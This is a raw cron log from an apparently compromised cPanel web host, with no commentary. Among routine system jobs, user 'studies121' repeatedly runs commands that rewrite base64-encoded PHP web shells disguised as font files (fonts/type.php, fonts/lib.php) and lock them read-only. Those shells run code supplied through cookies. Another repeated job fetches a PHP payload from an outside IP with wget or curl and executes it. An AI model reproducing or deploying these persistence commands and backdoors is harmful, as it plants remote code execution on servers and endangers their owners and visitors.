Aug 31 12:52:01 ip-184-168-122-23 CROND[2319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:52:01 ip-184-168-122-23 CROND[2322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:52:01 ip-184-168-122-23 CROND[2320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:53:02 ip-184-168-122-23 CROND[2423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:53:02 ip-184-168-122-23 CROND[2425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:53:02 ip-184-168-122-23 CROND[2426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:53:02 ip-184-168-122-23 CROND[2430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:54:01 ip-184-168-122-23 CROND[2548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:54:01 ip-184-168-122-23 CROND[2551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:54:01 ip-184-168-122-23 CROND[2553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:54:01 ip-184-168-122-23 CROND[2554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:54:01 ip-184-168-122-23 CROND[2552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:55:01 ip-184-168-122-23 CROND[2651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:55:01 ip-184-168-122-23 CROND[2655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:55:01 ip-184-168-122-23 CROND[2656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:55:01 ip-184-168-122-23 CROND[2660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:55:01 ip-184-168-122-23 CROND[2657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:55:01 ip-184-168-122-23 CROND[2661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:56:01 ip-184-168-122-23 CROND[2840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:56:01 ip-184-168-122-23 CROND[2841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:56:01 ip-184-168-122-23 CROND[2844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:56:01 ip-184-168-122-23 CROND[2847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:56:01 ip-184-168-122-23 CROND[2846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:57:01 ip-184-168-122-23 CROND[2944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:57:01 ip-184-168-122-23 CROND[2945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:57:01 ip-184-168-122-23 CROND[2943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:57:01 ip-184-168-122-23 CROND[2946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:58:01 ip-184-168-122-23 CROND[3038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:58:01 ip-184-168-122-23 CROND[3040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:58:01 ip-184-168-122-23 CROND[3042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:58:01 ip-184-168-122-23 CROND[3041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:58:01 ip-184-168-122-23 CROND[3043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:59:01 ip-184-168-122-23 CROND[3147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:59:01 ip-184-168-122-23 CROND[3149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:59:01 ip-184-168-122-23 CROND[3151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:59:01 ip-184-168-122-23 CROND[3150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:00:01 ip-184-168-122-23 CROND[3259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 13:00:01 ip-184-168-122-23 CROND[3263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:00:01 ip-184-168-122-23 CROND[3262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:00:01 ip-184-168-122-23 CROND[3267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:00:01 ip-184-168-122-23 CROND[3270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:00:01 ip-184-168-122-23 CROND[3268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:00:01 ip-184-168-122-23 CROND[3272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:00:01 ip-184-168-122-23 CROND[3269]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:01:01 ip-184-168-122-23 CROND[3450]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3450]: starting 0anacron
Aug 31 13:01:01 ip-184-168-122-23 CROND[3457]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 13:01:01 ip-184-168-122-23 CROND[3458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:01:01 ip-184-168-122-23 CROND[3459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:01:01 ip-184-168-122-23 CROND[3460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:01:01 ip-184-168-122-23 CROND[3461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3470]: finished 0anacron
Aug 31 13:02:01 ip-184-168-122-23 CROND[3558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 13:02:01 ip-184-168-122-23 CROND[3560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:02:01 ip-184-168-122-23 CROND[3562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:02:01 ip-184-168-122-23 CROND[3564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:02:01 ip-184-168-122-23 CROND[3566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:03:01 ip-184-168-122-23 CROND[3648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:03:01 ip-184-168-122-23 CROND[3647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:03:01 ip-184-168-122-23 CROND[3650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:03:01 ip-184-168-122-23 CROND[3649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 13:04:01 ip-184-168-122-23 CROND[3737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 13:04:01 ip-184-168-122-23 CROND[3739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
